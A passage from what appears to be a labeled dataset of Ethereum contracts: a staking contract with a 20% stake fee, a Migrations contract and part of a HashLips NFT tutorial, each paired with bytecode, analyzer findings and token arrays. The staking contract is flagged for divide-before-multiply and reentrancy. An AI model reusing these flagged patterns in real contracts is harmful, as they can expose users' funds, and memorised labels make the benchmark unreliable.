lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function checkWithdrawal(address account) view public returns (bool) {
uint256 time = lasttimestaked[account].add(lockup);
if( block.timestamp >= time ){
return true;
} else {
return false;
}
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "Cannot stake 0");
uint256 _fee = amount.mul(20).div(100);
uint256 _amount = amount.sub(_fee);
super.stake(_amount);
super.withdrawIns(_fee);
lasttimestaked[msg.sender] = block.timestamp;
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "Cannot withdraw 0");
require(checkWithdrawal(msg.sender),"Lock up not over yet");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
yfarmer.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
modifier checkhalve(){
if (block.timestamp >= periodFinish) {
initreward = initreward.mul(75).div(100);
yfarmer.mint(address(this),initreward);
rewardRate = initreward.div(DURATION);
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(initreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"not start");
_;
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
yfarmer.mint(address(this),reward);
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
} | 0x608060405234801561001057600080fd5b50600436106101d95760003560e01c80638b87634711610104578063cd3daf9d116100a2578063e8ed456811610071578063e8ed4568146103fa578063e9fad8ee14610420578063ebe2b12b14610428578063f2fde38b14610430576101d9565b8063cd3daf9d146103bc578063d5d9a09a146103c4578063df136d65146103ea578063e310fa5d146103f2576101d9565b80638f32d59b116100de5780638f32d59b146103735780639c907b581461038f578063a694fc3a14610397578063c8f33c91146103b4576101d9565b80638b8763471461033d5780638da58897146103635780638da5cb5b1461036b576101d9565b806339cafbc31161017c57806370a082311161014b57806370a08231146102ff578063715018a6146103255780637b0a47ee1461032d57806380faa57d14610335576101d9565b806339cafbc3146102995780633c6b16ab146102bd5780633d18b912146102da5780635ea9ae6b146102e2576101d9565b80630d68b761116101b85780630d68b7611461024457806318160ddd1461026c5780631be05289146102745780632e1a7d4d1461027c576101d9565b80628cc262146101de57806306490f47146102165780630700037d1461021e575b600080fd5b610204600480360360208110156101f457600080fd5b50356001600160a01b0316610456565b60408051918252519081900360200190f35b6102046104de565b6102046004803603602081101561023457600080fd5b50356001600160a01b03166104e5565b61026a6004803603602081101561025a57600080fd5b50356001600160a01b03166104f7565b005b610204610572565b610204610579565b61026a6004803603602081101561029257600080fd5b5035610580565b6102a16107e1565b604080516001600160a01b039092168252519081900360200190f35b61026a600480360360208110156102d357600080fd5b50356107f0565b61026a6109c4565b61026a600480360360208110156102f857600080fd5b5035610bbf565b6102046004803603602081101561031557600080fd5b50356001600160a01b0316610c3a565b61026a610c55565b610204610cf8565b610204610cfe565b6102046004803603602081101561035357600080fd5b50356001600160a01b0316610d11565b610204610d23565b6102a1610d29565b61037b610d38565b604080519115158252519081900360200190f35b610204610d5e565b61026a600480360360208110156103ad57600080fd5b5035610d64565b610204610fbb565b610204610fc1565b61037b600480360360208110156103da57600080fd5b50356001600160a01b0316611015565b610204611060565b6102a1611066565b6102046004803603602081101561041057600080fd5b50356001600160a01b0316611075565b61026a611087565b6102046110a2565b61026a6004803603602081101561044657600080fd5b50356001600160a01b03166110a8565b6001600160a01b0381166000908152600d6020908152604080832054600c9092528220546104d691906104ca90670de0b6b3a7640000906104be906104a99061049d610fc1565b9063ffffffff61110a16565b6104b288610c3a565b9063ffffffff61115516565b9063ffffffff6111ae16565b9063ffffffff6111f016565b90505b919050565b6212750081565b600d6020526000908152604090205481565b6104ff610d38565b610550576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001545b90565b62093a8081565b33610589610fc1565b600b55610594610cfe565b600a556001600160a01b038116156105db576105af81610456565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b60085442106106c2576105ff60646104be604b60065461115590919063ffffffff16565b6006819055600554604080516340c10f1960e01b81523060048201526024810193909352516001600160a01b03909116916340c10f1991604480830192600092919082900301818387803b15801561065657600080fd5b505af115801561066a573d6000803e3d6000fd5b50506006546106859250905062093a8063ffffffff6111ae16565b60095561069b4262093a8063ffffffff6111f016565b60085560065460408051918252516000805160206117968339815191529181900360200190a15b6007544211610704576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b6000821161074d576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b61075633611015565b61079e576040805162461bcd60e51b8152602060048201526014602482015273131bd8dac81d5c081b9bdd081bdd995c881e595d60621b604482015290519081900360640190fd5b6107a78261124a565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b6005546001600160a01b031681565b6004546001600160a01b03166108046112ab565b6001600160a01b0316146108495760405162461bcd60e51b81526004018080602001828103825260218152602001806117d76021913960400191505060405180910390fd5b6000610853610fc1565b600b5561085e610cfe565b600a556001600160a01b038116156108a55761087981610456565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b60085442106108c9576108c18262093a8063ffffffff6111ae16565b600955610917565b6008546000906108df904263ffffffff61110a16565b905060006108f86009548361115590919063ffffffff16565b905061091162093a806104be868463ffffffff6111f016565b60095550505b600554604080516340c10f1960e01b81523060048201526024810185905290516001600160a01b03909216916340c10f199160448082019260009290919082900301818387803b15801561096a57600080fd5b505af115801561097e573d6000803e3d6000fd5b505042600a81905561099c9250905062093a8063ffffffff6111f016565b6008556040805183815290516000805160206117968339815191529181900360200190a15050565b336109cd610fc1565b600b556109d8610cfe565b600a556001600160a01b03811615610a1f576109f381610456565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6008544210610b0657610a4360646104be604b60065461115590919063ffffffff16565b6006819055600554604080516340c10f1960e01b81523060048201526024810193909352516001600160a01b03909116916340c10f1991604480830192600092919082900301818387803b158015610a9a57600080fd5b505af1158015610aae573d6000803e3d6000fd5b5050600654610ac99250905062093a8063ffffffff6111ae16565b600955610adf4262093a8063ffffffff6111f016565b60085560065460408051918252516000805160206117968339815191529181900360200190a15b6007544211610b48576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b6000610b5333610456565b90508015610bbb57336000818152600d6020526040812055600554610b84916001600160a01b0390911690836112af565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b5050565b600154610bd2908263ffffffff61110a16565b60015533600090815260026020526040902054610bf5908263ffffffff61110a16565b3360009081526002602052604081209190915554610c37906001600160a01b0316735f3da22ec9f49b03daa757f7a08828e8435a33378363ffffffff6112af16565b50565b6001600160a01b031660009081526002602052604090205490565b610c5d610d38565b610cae576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6003546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380546001600160a01b0319169055565b60095481565b6000610d0c42600854611306565b905090565b600c6020526000908152604090205481565b60075481565b6003546001600160a01b031690565b6003546000906001600160a01b0316610d4f6112ab565b6001600160a01b031614905090565b60065481565b33610d6d610fc1565b600b55610d78610cfe565b600a556001600160a01b03811615610dbf57610d9381610456565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6008544210610ea657610de360646104be604b60065461115590919063ffffffff16565b6006819055600554604080516340c10f1960e01b81523060048201526024810193909352516001600160a01b03909116916340c10f1991604480830192600092919082900301818387803b158015610e3a57600080fd5b505af1158015610e4e573d6000803e3d6000fd5b5050600654610e699250905062093a8063ffffffff6111ae16565b600955610e7f4262093a8063ffffffff6111f016565b60085560065460408051918252516000805160206117968339815191529181900360200190a15b6007544211610ee8576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b60008211610f2e576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b6000610f4660646104be85601463ffffffff61115516565b90506000610f5a848363ffffffff61110a16565b9050610f658161131c565b610f6e82610bbf565b336000818152600e6020908152604091829020429055815187815291517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d9281900390910190a250505050565b600a5481565b6000610fcb610572565b610fd85750600b54610576565b610d0c611006610fe6610572565b6104be670de0b6b3a76400006104b26009546104b2600a5461049d610cfe565b600b549063ffffffff6111f016565b6001600160a01b0381166000908152600e60205260408120548190611043906212750063ffffffff6111f016565b90508042106110565760019150506104d9565b60009150506104d9565b600b5481565b6000546001600160a01b031681565b600e6020526000908152604090205481565b61109861109333610c3a565b610580565b6110a06109c4565b565b60085481565b6110b0610d38565b611101576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610c378161137e565b600061114c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061141f565b90505b92915050565b6000826111645750600061114f565b8282028284828161117157fe5b041461114c5760405162461bcd60e51b81526004018080602001828103825260218152602001806117b66021913960400191505060405180910390fd5b600061114c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b6565b60008282018381101561114c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60015461125d908263ffffffff61110a16565b60015533600090815260026020526040902054611280908263ffffffff61110a16565b336000818152600260205260408120929092559054610c37916001600160a01b0390911690836112af565b3390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261130190849061151b565b505050565b6000818310611315578161114c565b5090919050565b60015461132f908263ffffffff6111f016565b60015533600090815260026020526040902054611352908263ffffffff6111f016565b336000818152600260205260408120929092559054610c37916001600160a01b039091169030846116d9565b6001600160a01b0381166113c35760405162461bcd60e51b81526004018080602001828103825260268152602001806117706026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b600081848411156114ae5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561147357818101518382015260200161145b565b50505050905090810190601f1680156114a05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836115055760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561147357818101518382015260200161145b565b50600083858161151157fe5b0495945050505050565b61152d826001600160a01b0316611733565b61157e576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106115bc5780518252601f19909201916020918201910161159d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461161e576040519150601f19603f3d011682016040523d82523d6000602084013e611623565b606091505b50915091508161167a576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156116d35780806020019051602081101561169657600080fd5b50516116d35760405162461bcd60e51b815260040180806020018281038252602a8152602001806117f8602a913960400191505060405180910390fd5b50505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526116d390859061151b565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906117675750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373de88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820b49402f8afb3be22fdf807cf3a24d03687e171dc3a19b4fac01e896038c0717a64736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
10322,
2683,
2497,
2487,
2094,
25746,
2063,
2620,
2549,
2546,
20958,
26337,
2581,
12521,
23499,
2487,
2278,
2581,
2620,
22907,
2692,
21486,
2692,
23352,
2487,
2278,
16147,
1013,
1008,
1012,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1012,
1012,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1012,
1012,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1012,
1012,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1012,
1012,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1012,
1012,
1011,
1011,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,573 | 0x955Bd7178479e90AA249a34C968aBE92d5fD5da7 | pragma solidity >=0.4.21 <0.6.0;
contract Migrations {
address public owner;
uint public last_completed_migration;
constructor() public {
owner = msg.sender;
}
modifier restricted() {
if (msg.sender == owner) _;
}
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
function upgrade(address new_address) public restricted {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80630900f01014610051578063445df0ac146100955780638da5cb5b146100b3578063fdacd576146100fd575b600080fd5b6100936004803603602081101561006757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061012b565b005b61009d6101f7565b6040518082815260200191505060405180910390f35b6100bb6101fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101296004803603602081101561011357600080fd5b8101908080359060200190929190505050610222565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156101f45760008190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156101da57600080fd5b505af11580156101ee573d6000803e3d6000fd5b50505050505b50565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561027f57806001819055505b5056fea265627a7a723158203c8947a6a341d93b0c5ea19e08e0395c44f81e2526aa05f125da726b47c00ca464736f6c63430005110032 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
2497,
2094,
2581,
16576,
2620,
22610,
2683,
2063,
21057,
11057,
18827,
2683,
2050,
22022,
2278,
2683,
2575,
2620,
16336,
2683,
2475,
2094,
2629,
2546,
2094,
2629,
2850,
2581,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1018,
1012,
2538,
1026,
1014,
1012,
1020,
1012,
1014,
1025,
3206,
9230,
2015,
1063,
4769,
2270,
3954,
1025,
21318,
3372,
2270,
2197,
1035,
2949,
1035,
9230,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
7775,
1006,
1007,
1063,
2065,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1035,
1025,
1065,
3853,
2275,
9006,
10814,
3064,
1006,
21318,
3372,
2949,
1007,
2270,
7775,
1063,
2197,
1035,
2949,
1035,
9230,
1027,
2949,
1025,
1065,
3853,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,574 | 0x955BDE462aeBFD4aD6e79273Af8a25910A940b65 | // SPDX-License-Identifier: MIT
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
HashLips will not be liable in any way if for the use
of the code. That being said, the code has been tested
to the best of the developers' knowledge to work as intended.
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
